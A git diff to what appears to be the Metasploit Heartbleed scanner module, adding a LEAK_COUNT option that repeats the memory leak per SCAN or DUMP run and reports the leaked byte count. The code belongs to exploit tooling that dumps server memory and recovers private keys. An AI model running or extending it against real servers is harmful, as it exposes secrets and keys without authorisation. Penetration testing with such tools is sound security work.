diff --git a/modules/auxiliary/scanner/ssl/openssl_heartbleed.rb b/modules/auxiliary/scanner/ssl/openssl_heartbleed.rb index 59bb1dfbaa408..40af66e9f0520 100644 --- a/modules/auxiliary/scanner/ssl/openssl_heartbleed.rb +++ b/modules/auxiliary/scanner/ssl/openssl_heartbleed.rb @@ -109,8 +109,12 @@ def initialize STARTTLS may also be vulnerable. The module supports several actions, allowing for scanning, dumping of - memory contents, and private key recovery. The `repeat` command can be - used to make running the `DUMP` many times more convenient. As in: + memory contents, and private key recovery. + + The LEAK_COUNT option can be used to specify leaks per SCAN or DUMP. + + The repeat command can be used to make running the SCAN or DUMP many + times more powerful. As in: repeat -t 60 run; sleep 2 To run every two seconds for one minute. }, @@ -161,9 +165,10 @@ def initialize OptEnum.new('TLS_CALLBACK', [true, 'Protocol to use, "None" to use raw TLS sockets', 'None', [ 'None', 'SMTP', 'IMAP', 'JABBER', 'POP3', 'FTP', 'POSTGRES' ]]), OptEnum.new('TLS_VERSION', [true, 'TLS/SSL version to use', '1.0', ['SSLv3','1.0', '1.1', '1.2']]), OptInt.new('MAX_KEYTRIES', [true, 'Max tries to dump key', 50]), - OptInt.new('STATUS_EVERY', [true, 'How many retries until status', 5]), + OptInt.new('STATUS_EVERY', [true, 'How many retries until key dump status', 5]), OptRegexp.new('DUMPFILTER', [false, 'Pattern to filter leaked memory before storing', nil]), - OptInt.new('RESPONSE_TIMEOUT', [true, 'Number of seconds to wait for a server response', 10]) + OptInt.new('RESPONSE_TIMEOUT', [true, 'Number of seconds to wait for a server response', 10]), + OptInt.new('LEAK_COUNT', [true, 'Number of times to leak memory per SCAN or DUMP invocation', 1]) ]) register_advanced_options( @@ -207,10 +212,17 @@ def run # Main method def run_host(ip) case action.name - when 'SCAN' - loot_and_report(bleed) - when 'DUMP' - loot_and_report(bleed) # Scan & Dump are similar, scan() records results + # SCAN and DUMP are similar, but DUMP stores loot + when 'SCAN', 'DUMP' + # 'Tis but a scratch + bleeded = '' + + 1.upto(leak_count) do |count| + vprint_status("Leaking response ##{count}") + bleeded << bleed + end + + loot_and_report(bleeded) when 'KEYS' get_keys else @@ -266,6 +278,10 @@ def tls_callback datastore['TLS_CALLBACK'] end + def leak_count + datastore['LEAK_COUNT'] + end + # # TLS Callbacks # @@ -493,13 +509,12 @@ def bleed # Stores received data def loot_and_report(heartbeat_data) - unless heartbeat_data vprint_error("Looks like there isn't leaked information...") return end - print_good("Heartbeat response with leak") + print_good("Heartbeat response with leak, #{heartbeat_data.length} bytes") report_vuln({ :host => rhost, :port => rport, @@ -541,7 +556,6 @@ def loot_and_report(heartbeat_data) # Show abbreviated data vprint_status("Printable info leaked:\n#{abbreviated_data}") - end #